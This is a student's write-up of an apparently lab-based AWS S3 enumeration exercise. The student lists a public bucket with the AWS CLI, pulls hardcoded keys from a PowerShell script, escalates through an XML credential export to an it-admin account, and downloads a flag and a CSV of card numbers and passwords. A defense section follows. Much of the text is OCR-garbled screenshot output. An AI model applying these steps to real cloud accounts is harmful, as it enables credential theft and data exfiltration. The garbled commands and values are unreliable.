Course: Cloud and Network Security
Name: Neville Ngothe Iregi

Student No.: CS-CNS10-25054

Date: Wednesday, 10th December 2025

Week 12 Assignment 1. AWS S3 Enumeration
Basics




Introduction

In modern cloud environments, Amazon S3 is widely used for hosting static websites,
storing application assets, and managing organizational data. However, improper
configuration of S3 buckets can expose sensitive information and create critical security
risks. This assignment explores an S3 enumeration challenge in which a seemingly
harmless static website leads to the discovery of misconfigured cloud infrastructure and
exposed credentials. Through systematic investigation, AWS CLI exploration, and credential
escalation, the exercise highlights how attackers can pivot within a cloud environment by
leveraging publicly accessible buckets, hardcoded secrets, and weak access control policies.
The goal of this lab is to build familiarity with AWS S3 enumeration techniques, analyze
real-world cloud misconfigurations, and understand how poor security practices can result

in data breaches and privilege escalation.
Scenario

It's your first day on the red team, and you've been tasked with examining a website that
was found in a phished employee's bookmarks. Check it out and see where it leads! In

scope is the company's infrastructure, including cloud services.
Lab prerequisites

Basic Linux command line knowledge

Learning outcomes

e Familiarity with the AWS CLI
e Basic S3 enumeration and credential exfiltration

e An awareness of how this scenario could be been prevented
Steps

The website http://dev.huge-logistics.com is a static website.



http://dev.huge-logistics.com
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1. There is a form on the website that when filled,
returns an error:
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e The Requestld represents the access key ID
e The Hostld represents the secret key
e They show the account credentials tied to the error which is problematic

e Both can be used in the aws cli in Kali to gain more information about the website

2. On inspecting the source code

| saw that the css file, pictures, and the JavaScript file were stored on the same s3 bucket

resource (https://s3.amazonaws.com/dev.huge-logistics.com)
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e The s3 bucket link shouldn’t be hardcoded into the HTML file since it is poor design
practice to do so.

3. Enumeration of the s3 bucket.



| tried running the command: aws s3 Is s3://dev.huge-logistics.com with the -

-no-sign-request tag to tell the aws cli that | had no credentials to use

The s3 bucket had the following directories:
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aus s3 Us s3://dev.huge-logistics.con

Unable to locate credentials. You can configure credentials by running “aws configure®.

aus s3 Us s3://dev.huge-logistics.con
PRE migration-files/
PRE shared/

PRE static/
2023-10-16 20:00:47 5347 index.html
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| tried navigating to each directory to check the files present. | noted that | could see the

files in shared/ and static/ directories.


http://dev.huge-logistics.com
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PRE admin/
PRE migration-files/
PRE shared/
PRE static/
2023-10-16 20:00:47 5347 index.html
3 1s s3://dev.huge-logistics. con/adnin/

An error occurred (Accessbenied) when calling the ListObjectsV2 operation: Access Denied

3 1s s3://dev.huge-logistics. con/migration-files/

An error occurred (Accessbenied) when calling the ListObjectsV2 operation: Access Denied

3 1s s3://dev.huge-logistics. con/static/

An error occurred (Accessbenied) when calling the ListObjectsV2 operation: Access Denied

3 1s s3://dev.huge-logistics. con/shared/

An error occurred (Accessbenied) when calling the ListObjectsV2 operation: Access Denied

1s s3://dev. huge-logistics. con/shared/
2023-10-16 18:08
2023-10-16 18:09:01 993 hl_migration_project.zip

aus s3 s s3://dev.huge-logistics.con/static/
2023-10-16 18:08:26 [)
54451 logo.png
183 script.js
2023-10-16 19:52:31 9259 style.css
53 1s s3://dev.huge-logistics.con/migration-files/

An error occurred (AccessDenied) when calling the ListObjectsv2 operation: Access Denied

53 1s s3://dev.huge-logistics.con/admin/
An error occurred (Accessbenied) when calling the Listobjectsv2 operation: Access Denied
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e The shared/ directory had a zip file which i downloaded into my current working

directory (command used: aws s3 cp
s3://dev.huge-logistics.com/shared/hl_migration project.zip . --no-sign-request) and

unzipped it.
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3 Us s3://dev.huge-logistics.con/migration-files/

[An error occurred (AccessDenied) when calling the ListobjectsV2 operation: Access Denied

s3 1s s3://dev.huge-logistics. con/admin/
An error occurred (AccessDenied) when calling the Listobjectsv2 operation: Access Demied

aus s3 cp s3://dev.huge-logistics.con/shared/hl_nigration_project.zip .
dounload: s3://dev.huge-logistics.con/shared/hl_migration_project.zip to ./hl_migration_project.zip

total 61148
drwx- 21 n3vill3 n3vil13 Dec
druxr-xr-x 3 root ot
drwxrwxr-x 2 n3vill3 n3vill3
drwxr-xr-x 3 n3vill3 n3vill3
1 n3vill3 n3vills 4 ausclivz.zip
1 n3vill3 n3vill3 0 No .bash_logout
1 n3vill3 n3vill3 .bashrc
1 n3vill3 n3vills -bashrc.original
drwxrwxr-x 14 n3vill3 n3vill3 2
drwxr-xr-x 16 n3vill3 n3vill3
druxr-xr-x 2 n3vill3 n3vills
1 n3vill3 n3vill3
drwxr-xr-x 2 n3vill3 n3vill3
druxr-xr-x 19 n3vill3 n3vills
1 n3vill3 n3vill3 .face
Lruxrwxrwx 1 n3vill3 n3vills 5 N .face.icon - .face
drux 3 n3vill3 n3vills
- TW-TW-] 1 n3vill3 n3vill3 _migration_|
-rw——— 1 n3vill3 n3vill3 .ICEauthority
druxr-xr-x 3 n3vill3 n3vills 0
drwxr-xr-x 5 n3vill3 n3vill3
n3vill3
n3vill3 4
n3vill3 out.txt
n3valls payload. json
n3vill3 4
n3vill3 6
n3valls .profile
n3vill3 4
n3vill3 U
1 n3vill3 n3vill3 .sudo_as_adnin_successful
druxr-xr-x 2 n3vill3 n3vills 4
drwxr-xr-x 2 n3vill3 n3vill3
1 n3vill3 n3vill3 .vboxclient-clipboard-tty7-control.pid
1 n3vill3 n3avills 17:01 .vboxclient-clipboard-tty7-service.pid

project.z
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http://dev.huge-logistics.com/shared/hl_migration_project.zip
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1 n3vill3 n3vill3 5 Dec 12 17:01

1 n3vill3 n3vill3

druxr-xr-x 2 n3vill3 n3vill3
-ru 1 n3vill3 n3vill3
-ru 1 n3vill3 n3vill3
1 n3vill3 n3vill3

1 n3vIl13 n3vill3

1 n3vill3 n3vill3

1 n3vill3 n3vill3 8836 Dec 12 02:05

—- 1 n3vIll3 n3vill3 10855 Nov 18 13:20

hl_migration_project.zip
Archive: hl migration_project.zip
inflating: migrate_secrets.psl

total 61152
drux 21 n3vil13 n3vill3 4096 Dec 12 17:47
druxr-xr-x 3 root
druxruxr-x 2 n3vill3 n3vill3
druxr-xr-x 3 n3vill3 n3vill3
-ru.
-ru 1 n3vill3 n3vill3
-ru 1 n3vill3 n3vill3
-ru. 1 n3vIl13 n3vill3
druxruxr-x 14 n3vill3 n3vill3
druxr-xr-x 16 n3vill3 n3vill3
druxr-xr-x 2 n3vill3 n3vill3
-1 1 n3vil13 n3vill3
druxr-xr-x 2 n3vill3 n3vill3
19 n3vill3 n3vill3
-n 1 n3vill3 n3vill3
Uruxrwxrux 1 n3vill3 n3vill3 oV
drux 3 n3vill3 n3vill3 4096 Nov 18 13:24
1 n3vill3 n3vill3 993 Oct 16 2023
1 n3vill3 n3vill3 N 121
3 n3vill3 n3vill3 120
5 n3vill3 n3vill3 4096 Nov 18 13:24

n3vIl3@neville: ~

.vboxclient-vmsvga-session-tty7-control.pid

01 .vboxclient-vmsvga-session-tty7-service.pid

.viminfo
.Xauthority
.xsession-errors

0 .zprofile

.zsh_history
.zshre

Liv2.zi
.bash_logout
“bashrc
_bashrc.original

2 .durc

.face
.face.icon = .face

1

.ICEauthority

1 n3vill3 n3vill3 1853 Oct 15 2023 migrate_secrets.psl

5 n3vill3 n3vill3 4096 Dec 10 16:39
2 n3vill3 n3vill3 4096 Nov 18 1
1 n3vill3 n3vill3 48 Dec 12 0

1 n3vill3 n3vill3 97 Dec 12 01:23 payload.json

druxr-xr-x 2 n3vill3 n3vill3 4096 Nov 18 13:24
drux 3 n3vill3 n3vill3 4096 Nov 18 13:2
-ru. 1 n3vill3 n3vill3 807 Nov 18 1.

2 n3vill3 n3vill3 4096 Nov 18 1

3 n3vill3 n3vill3 4096 Dec 10 1
-n 1 n3vIl13 n3vIll3 0 Nov 18 1
druxr-xr-x 2 n3vill3 n3vill3 4096 Nov 18 13:24

O H m e

6
.profile
4

7
5 .sudo_as_admin_successful
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The resultant file after unzipping was a migrate_secrets.ps1 file (a Powershell script).

e The script contains hardcoded AWS keys! the purpose of the script seems to be to

take existing secrets that are stored in an XML file, and store them in AWS Secrets

Manager. Secrets Manager is a service that helps securely store, manage, and

retrieve secrets like APl keys and database credentials.
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- 1 m3vill3 n3vall3 123 .viminfo
- 1 m3vill3 n3vill3 ‘Xauthority
1 n3vill3 n3vill3 .xsession-errors
1 n3vill3 n3vill3
w-r 1 n3vill3 n3vill3 20 .zprofile
-ru 1 m3vill3 n3vill3 105 .zsh_history
—rw-r-—r— 1 n3vil3 n3vill3 10855 Nov 18 13:20 .zshrc

at migrate_secrets.psl
# AWS Configuration
$accessKey = "AKIA3SFMDAPONOWKXEHU"
$secretkey = "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”
Sregion = .

# Set up AWS hardcoded credentials
Set-AWSCredentials -AccessKey $accessKey -SecretKey $secretkey

# Set the AWS region
Set-DefaultAWSRegion -Region $region

# Read the secrets fron export.xml
[xml]$xmlContent = Get-Content -Path "export.xml™

# output log file
$logFile = "upload_log.txt"

# Error handling with retry logic
function TryUploadSecret($secretName, $secretValue) {
es = 3
while ($retries -gt @) {
try {

ew-SECSecret -Name $secretName -SecretString $secretValue
Slogentry = "Successfully uploaded secret: $secretName with ARN: $($result.ARN)"
Write-Output $logEntry
Add-Content -Path $logFile -Value $logEntry
return $true
} catch {
$retries—-
Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"

b

}
return $false

foreach (§secretNode in $xmlContent.Secrets.Secret) {
# Implementing concurrency using jobs
Start-Job -ScriptBlock {
paran($secretName, $secretValue)
TryUploadSecret -secretName $secretName -secretValue $secretValue
} -ArgumentList $secretNode.Name, $secretNode.Value

O)F & MEE & rightcl
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Along with the Access Key and Secret Key with see the region in the script is set to
us-east-1.When it comes to setting our keys as an attacker it's helpful to know which
region to use. We can get a further clue from the S3 bucket. The cURL command below

returns the headers only, which reveals that the bucket was created in the us-east-1
region.
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Write-Error "Failed attempt to upload secret: $secretName. Retries left: $retries. Error: $_"
}
return $false

foreach (§secretNode in $xmlContent.Secrets.Secret)
# Implementing concurrency using jobs
Start-Job -ScriptBlock {
paranm($secretName, $secretValue)
TryUploadSecret -secretName $secretName -secretValue $secretvalue
} -ArgumentList $secretNode.Name, $secretNode.Value

# Wait for all jobs to finish
$jobs = Get-Job’
$jobs | Wait-Job

# Retrieve and display job results
$jobs | ForEach-Object
result = Receive-Job -Job $_
if (-not $result)
Write-Error "Failed to upload secret: $($_.Name) after multiple retries.”

# Clean up the job
Remove-Job -Job $_

Write-Output "Batch upload complete!

# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps

https: //53.amazonaus . con/dev. huge-logistics. con/
HTTP/1.1 403 Forl
x-amz-bucket-region: us-
X-amz-request-id: CZNSPY7GSD9BNSIX
x-amz-id-2: Ed\BpOFgOyJHUZFCVTZqtDI0ACEBCDONPA+eSS3IHFRGFKD/y bj@MCUObMFSSNBuyAF JAe2u=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Fri, 12 Dec 2025 14:53:55 GHT
Server: Amazons3
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4. Set up the keys with aws configure

With AWS CLI keys, the Access Key is a bit like a username, with the Secret Key being the

password. From the ps.1 file,
$accessKey = "AKIASSFMDAPOWOWKXEHU"

$secretKey = "MwGe3leVQS6SDWYqlpe9cQG5KmMUOUFiIG83RX/gb9"

| found out our execution context with the following command: aws sts get-caller-identity
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# Retrieve and display job results
$jobs | ForEach-object {
result = Receive-Job -Job §_
if (-not $result) {
Write-Error "Failed to upload secret: $($_.Name) after multiple retries.”

# Clean up the job
Remove-Job -Job $_

Write-Output "Batch upload complete!”

# Install-Module -Name AWSPowerShell -Scope CurrentUser -Force
# .\migrate_secrets.ps1

https: //53.amazonaus . con/dev. huge-logistics. con/
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
X-amz-request-id: CZNSPY7GSD9BNSIX
x-amz-id-2: Ed\BpOFgOyJHUZFCVTZqtDI0ACEBCDONPA+eSS3IHFRGFKD/y bj@MCUObMFSSNBuyAF JAe2u=
Content-Type: application/xml
Transfer-Encoding: chunked
Date: Fri, 12 Dec 2025 14:53:55 GHT
Server: Amazons3

configure
AUS Access Key ID [None]: AKIA3SFMDAPOWOWKXEHU
AUS Secret Access Key [None]: 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
Default region name [None]: us-east-1
Default output format [Nonel: json

n3vIlls

sts get-caller-identity puned

"UserId": "AIDA3SFMDAPOYPM3X2TB7",
“Account”: "794929857501",
"Arn": "arn:aws:iam:: 794929857501:user/pan-test”

B 0¥ G & METE @ right Crl
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- This reveals the IAM user named pam-test . We can assume given the nature of the

script that pam stands for Privileged Access Management (PAM).

5. Access the previously inaccessible directories.

Since I now have valid AWS credentials and we want to sign our request with the set keys, |

dropped the - -no-sign-request

10
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https://53.amazonaws . con/dev. huge-logistics. con/
HTTP/1.1 403 Forbidden
x-amz-bucket-region: us-east-1
Xx-amz-request-id: CZNSPY7GSD9BW5IX
Xx-amz-id-2: EdprDFgDyJNuZFCVTthDJﬂAcgECDanA €S53THFR6FKb/y bjONCUObMFMS8nBuyAF JAe2u=
Content-Type: applicatio /
Transfer-Encoding: chunke
Date: Fri, 12 Dec 2025 1& 53:55 GHT
Server: Amazons3

AUS Access Key ID [None]: AKIA3SFMDAPOWOWKXEHU

AUS Secret Access Key [Nonel: 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
Default region name [None]: us-east-1

Default output format [Nonel: json

n3vIll3

sts get-caller-identity puned

"UserId": "AIDA3SFMDAPOYPM3X2TB7",

"Account”: "794929857501",

"Arn®: "arn:aws:iam:: 794929857501:user/pan-test”
b

53 Us 531 //dev.huge- logistics. con/adnin/ puned
2023-10-16 18:08:38

2024-12-02 17:57:44 32 flag.txt

2023-10-16 23:24:07 2425 website_transactions_export.csv

cp 531 //dev. huge-logistics, con/adnin/flag. txt .
fatal errnr Unable to locate credentia’

s3 cp 3¢ //dev. huge-logistics. con/adnin/Flag. txt . puned
fatal error: An error occurred (403) when calling the Headobject operation: Forbidden

53 cp 3¢ //dev. huge-logistics. con/adnin/uebsite_transactions_export.csv .
fatal error: An error occurred (403) when calling the Headobject operation: Forbidden
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This reveals a website transactions export file and also the flag. Unfortunately we are

unable to download either using our current credentials.

| tried listing the files in the migration-files/ directory. Among PDFs related to the migration

project are the migration_secrets.ps1 script again, and also a test-export.xml file. |
downloaded the test-export.xml file and checked it.

- Downloading the file we see more high privileged credentials which are hardcoded
into the xml file! This includes an AWS IT Admin entry.

11
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2023-10-16 18:09:25 1407180 AWS Secrets Manager Migration - Implementation.pdf

2023-10-16 18:09:27 1853 migrate_secrets.psl

2023-10-16 21:00:13 2494 test-export.xml

p's3: //dev.huge-logistics. con/nigration-files/test-export.xnl .
domntoad: s3./)dev. huge-Logistics. con/migration-files/test-export.xml to ./test-export. e

at test-export.xml

<2uml version="1.0" encoding="UTF-8"2>
<CredentialsExport>

Oracle Database Credentials —
<CredentialEntry>

<ServiceType>Oracle Database</ServiceType>

<Hostname>oracle-db-server02.prod.hl-internal. com</Hostname>
<Username>admin</Username>

<Password>Password123!</Password>

<Notes>Prinary Oracle database for the financial application. Ensure strong password policy.</Notes>
eredentiatentry>

erver credenuals e

<credenual[nt

ServiceTypiotp Server Clusters/ServiceTypes

<Hostname>hp-cluster1.prod. hl-internal.com</Hostnane>

<Username>root</Username>

<Password>RootPassword456! </ Password>

CHotessHP server cluster for batch jobs. Periodically rotate this password.</Notes>
</CredentialEntr

Prnducunn Credentials —
<CredentialEntry>

<serviceType>Aus IT Adnin</ServiceType>
<AccountID>794929857501</ AccountID>
<AccessKeyID>AKIA3SFMDAPOQRFWFGCD</ AccessKeyID>
<SecretAccessKey>t21ERPIDG5C1QN55dx00GTCLN9mAaJ0bnL4hY6 P</ SecretAccessKey>
tes>AS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
</CredentialEntry>

Iron Mountain Backup Portal —»
<CredentialEntry>

<ServiceType>Iron Mountain Backup</ServiceType>
//backupportal . ironmountain. com</URL>
<Usernane>hladnin</Usernane>
<Password>HLPassword78
<Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
qcredenualsntry

ce 365 Admin Account —

<credenualEnt ry>

<ServiceType>0ffice 365</ServiceType>

<URL>https://admin.microsoft.come/URL>

<Username>adninacompany .onmicrosoft . con</ Usernane>

<Password>0365Password321! </ Password>

<Notes>0ffice 365 global admin account. Use for essential administrative tasks only and enable NFA.</Notes>
</CredentialEntry>

A’Eﬁ'-@D-' onR\gthtrl
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AWS Access Key ID [Nonel: AKIA3SFMDAPOWOWKXEHU
AWS Secret Access Key [None]: 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
Default region name [Nonel: us-east-1
Default output format [Nonel: json

n3vIll3

sts get-caller-identity
"UserId": "AIDA3SFMDAPOYPH3X2TB7",
"Account”: "794929857501",
"Arn”: "arn:aws:iam:: 794929857501:user/pan-test”

53 1s s3: //dev. Huge- logistics. con/adnin/ puned

2023-10-16 23:24 u7 2425 wehsne,transacuuns,expm.csv

cp. 53 //dev. huge-logistics. con/adnin/ Flag. txt .
Fatat sxvors Unable to Locate credentists
3 cp s3://dev.huge-logistics.con/admin/flag. txt . uned

P
fatal error: An error occurred (403) when calling the Headobject operation: Forbidden

53 cp 531 //dev. huge-logistics. con/adnin/website_transactions_export. av
fatal error: An error occurred (403) when calling the Headobject operation: Forbidden

3 1s s3://dev.huge-logistics.con/migration-files/

Unable to locate credentials. You can configure credentials by running "aws configure".

1s s3: //dev.huge-logistics. con/migration-files/
08:47 0

puned
1833646 AWS Secrets Manager Migration - Discovery & Design.pdf
1407180 AWS Secrets Manager Migration - Implementation.pdf
1853 migrate_secrets.psl
2494 test-export.xml
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6. Setup a new profile with the IT Admin credentials.
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<ServiceType>Alis IT Admin</ServiceType>
<AccountID>794929857501</ AccountID>
<AccessKeyID>AKIA3SFMDAPOQRFWFGCD</ AccessKeyID>
<SecretAccessKey>t21ERPIDG5C1QN55dx00GTcLN9mAaJ0bnL4hY6 P</ SecretAccessKey>
<Notes>AHS credentials for production workloads. Do not share these keys outside of the organization.</Notes>
</CredentialEntry>
«— Iron Mountain Backup Portal —
<CredentialEntry>
<ServiceType>Iron Mountain Backup</ServiceType>
<URL>https: //backupportal..ironmountain. con</URL>
<Usernane>hladnin</Usernane>
<Password>HLPassword789! </ Password>
<Notes>Account used to schedule tape collections and deliveries. Schedule regular password rotations.</Notes>
</CredentialEntry>
«— office 365 Admin Account —
<CredentialEntry>
<ServiceType>0ffice 365</ServiceType>
<URL>https: //admin.microsoft.come/URL>
<Username>adninacompany .onmicrosoft . con</ Usernane>
<Password>0365Password321!</Password>
<Notes>0ffice 365 global admin account. Use for essential administrative tasks only and enable NFA.</Notes>
</CredentialEntry>
¢— Jira Admin Account —
<CredentialEntry>
<ServiceType>Jira</serviceType>
<URL>https://hugelogistics.atlassian.net</URL>
<Username>jira_admin</Usernane>
<Password>JiraPassword654! </ Password>
<Notes>Jira administrative account. Restrict access and consider using API tokens where possible.</Notes>
</CredentialEntry>
</CredentialsExport>

n3vIl3@neville: ~

configure puned-ITadnin
AWS Access Key ID [None]: AKIA3SFMDAPOQRFWFGCD
AWS Secret Access Key [None]: t21ERPmDGSC1QN55dx00GTCIN9mAaIObnLéahY6jP
Default region name [Nonel: us-east-1
Default output format [Nonel: json

sts get-caller-identity puned-ITadnin

'AIDA3SFMDAPOWKMGEICHAK" ,
4929857501"
s:iam:: 794929857501 : user/it-admin”

B OK¥IeNErTE @D rghtcr
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Running aws sts get-caller-identity this time reveals that we are the IAM user

it-admin

7. Accessing the admin folder with AWS IT admin
credentials

The admin account is allowed to access the admin folder, and inside we see an export of

users credit card numbers and other Pll (personally identifiable information) in clear text.
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P3VILB@nevil

Session Actions Edit View Help
"Arn®: "arn:aws:iam:: 794929857501:user/it-admin”

cp' 3¢ //dev. huge-Togistics. con/adnin/Flag. puned-ITadnin

downtond: s /jdev. huge-ogistics. con/admin/flag. txt b ./flag.txt

3 cp s3://dev.huge-logistics.con/adnin/website_transactions_export.csv
download: s3://dev.huge-logistics.con/admin/website_transactions_export.csv to

puned-ITadmin
7uebsite. transactions _export. csv

flag. txt
a49f18145568e4d001414ef1415086b8

website_transactions_export.csv
network, credit_card_number, cvv, expiry_date, card_holder_name,validation,username,password, ip_address
Visa, 4035497191304, 386,5/2021, Hunter Miller,hunter_m,passuord123,34.56.78.90
Visa, 4055491339081, 492,8/2021, Jayden Adams, , jay_adams, jayden2023,157.89.34.56
Visa, 4055491511051, 244, 10/2025, Jose Baker, , joseBaker24, joseqpass, 212.45.67.89
Visa, 4313504070320,984,3/2025, Gabriel Phillips,,gabrielP,welconc2025,58,67.34.23
Visa,4313504750869252, 522 ,5/2024, Joseph Thomas, ) joethomas, joe!pass, 94.23. 45.67
Visa,4313501801459893, 585,5/2021, Chloe Nelson,,chloe_n,sunmer21,71.23.45.89
Visa, 4313506927832, 748, 4/2025, Brianna Broun, ,briBroun, ilovebri,102.178.23.45
Visa, 4313508703687539,854,9/2021, Jose Perez, , jperez, josexpass, 145.89.23.67
Visa, 4055490538100206,903,2/2022, Brooklyn Davis, ,brookd, cookie22,89.45.23.56
Visa, 4055496324021,989,10/2024, ELijah Davis, ,elijahD2024, honey24, 132.56.78.90
Visa, 4313507611385, 798, 10/2025, Jose Davis, , josed_25, chocolate, 193.45.67.80
Visa,4313505844566770, 391,10/2023, Anna Miller,,annall, anna2023,144.68.90.10
Visa, 4313503045245021,319,9/2022, Anthony Collins, ,tony_collins,tony!pass,154.23.67.89
Visa, 4313503967294,839,7/2023,Alyssa Thompson, ,alyssaT23, thompson23,212.67.89.90
Visa, 4055496654879978,242,10/2023, Gabriel Garcia, ,garcia_gabe, etmein, 148.12.67.34
Visa,4313502893954,923,7/2025,Noah Allen, ,noah_allen25,password2025,178.45.23.12
Visa,4055497065912,770,9/2021, Hunter Anderson, ,hunterA2021,winter21,165.89.34.12
Visa, 4055499869808, 492,8/2025,David Jackson, ,djackson, trustno1,194.56.78.90
Visa, 4055493603013,993,3/2023,Katherine Anderson, ,kat_anderson,love2023,204.89. 245
Visa,4313507735369298, 267,3/2021, Aiden Jones, ,aiden], aidenglogistics,168.90.23
Visa, 4035490830817, 631,1/2023, Etha Nelson, ,ethal, ethag2023,132.78.90. 10
Visa,4055492037879157,235,10/2024  Katherine Martin,,k_martin, superpass,17s. 59 23.45
Visa, 4055490511326, 802,3/2025, ELi jah Scott, ,elijah$2025, sumer25,212.34.56.7
Visa, 4313507927120, 620,8/2022, Julia Broun,, juliaB22, juliaqlogis, 189.23.45. o
Visa, 4035498615148980, 016, 4/2024, Jose Jones, ,j_jones24,ose2024,178.56.78.90
Visa, 4313502314852, 986,6/2024,Samantha Thompso, , samanthaT , samantha2024,167.89.90.12
Visa, 4055491551140558,357,2/2023, ELizabeth Nelson,,lizNelson,princess23,204.56.78.12
Visa, 4055496059868048,722,3/2025, Grace Broun,,graceB25,charliel, 156.78.90.12
Visa, 4313508490261548,894,7/2025, Landon Adans, ,landonA, landonalogis, 146.78.90.23
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8. Check the Bucket Policy

Finally, with our it-admin account, let's check out the bucket policy and see why one

unauthenticated request from the browser failed while the one from the AWS CLI was

successful.

Command used = aws s3api get-bucket-policy --bucket dev.huge-logistics.com --profile

pwned-ITadmin | jq -r ".Policy | fromjson’
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aus s3api get-bucket-policy dev.huge-logistics. con puned-ITadnin

B O0K¥IeNErTE @D rghtcr
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We see that this interesting difference in behavior is due to the following bucket policy

statement:

The key point is that this policy only allows s3:ListBucket if the request includes the

parameters prefix= (even if empty) and delimiter=/.
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The AWS CLI includes these by default, which is why listing works there. However, browsers

or tools like cURL that access https://s3.amazonaws.com/dev.huge-logistics.com/ directly

typically don't send those query parameters, so the request doesn't match the policy

condition and is denied.

To list the root of the S3 bucket in a browser we can navigate to the URL below that

contains the parameters.

https://dev.huge-logistics.com.s3.amazonaws.com/?prefix=&delimiter=/

The flag is: a49f18145568e4d001414ef1415086b8

B 5 &

The provided website's The bucket is publicly The bucket contains
source code references listable, but the directories "hl_migration_project.zip",
the S3 bucket "dev- "admin" and "migration-files" which when opened, includes
huge-logistics™ are not AWS principal credentials

|
— R s

The new principal has A newly-accessible .xm file Our new principal has
access to the files inside includes AWS credentials to access to more S3
the /admin/ directory of allow privilege escalation bucket contents
the S3 bucket

Defense

The main issue that caused this data breach was that the S3 bucket was used for different

purposes. If a bucket is to be used to host static website files or even directly host a static
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website itself, it can do this. However the bucket should then not be used for storage of
sensitive files. A separate bucket related to the PAM migration project should have been
used instead.

The shared directory was world-readable, which might have been used to share the
migration script with an external contractor or consultant. Even sharing sensitive files open
to the internet for a couple of minutes can be a really big risk, as scripts and bots can
automatically detect changes and download the files. It would be better to share files in a
more secure manner, and encrypt the zip file with a strong, random password. Another
issue was that the AWS credentials were hardcoded directly into the script, allowing anyone

on the internet to gain a foothold in the cloud environment.

Worse still, an XML export from a secure PAM system was also stored in the bucket, and
accessible by the first compromised IAM account. The secret export contained very high
privileged credentials for the Huge Logistics on-premise and cloud infrastructure. It also
contained credentials for a second compromised account that had more permissions than
the first account, allowing access to the unencrypted customer data, exposing their

confidential information, potentially leading to financial loss and identity theft.

Conclusion

This exercise demonstrates how a single misconfigured S3 bucket can rapidly escalate into
a severe cloud security breach. By exposing sensitive files, hardcoded AWS credentials, and
poorly designed access control policies, the environment allowed an attacker to progress
from anonymous access to high-privilege administrative control. The scenario reinforces
critical lessons: static website buckets should never store sensitive internal files, IAM
credentials must never be embedded in scripts or configuration files, and bucket policies
must be carefully designed to prevent unintended public access. Ultimately, the lab
provides hands-on insight into how attackers enumerate S3 environments, exploit weak
configurations, and escalate privileges—and highlights the importance of strong cloud
security hygiene, least-privilege IAM enforcement, and secure secrets management to

prevent similar breaches in real-world environments.
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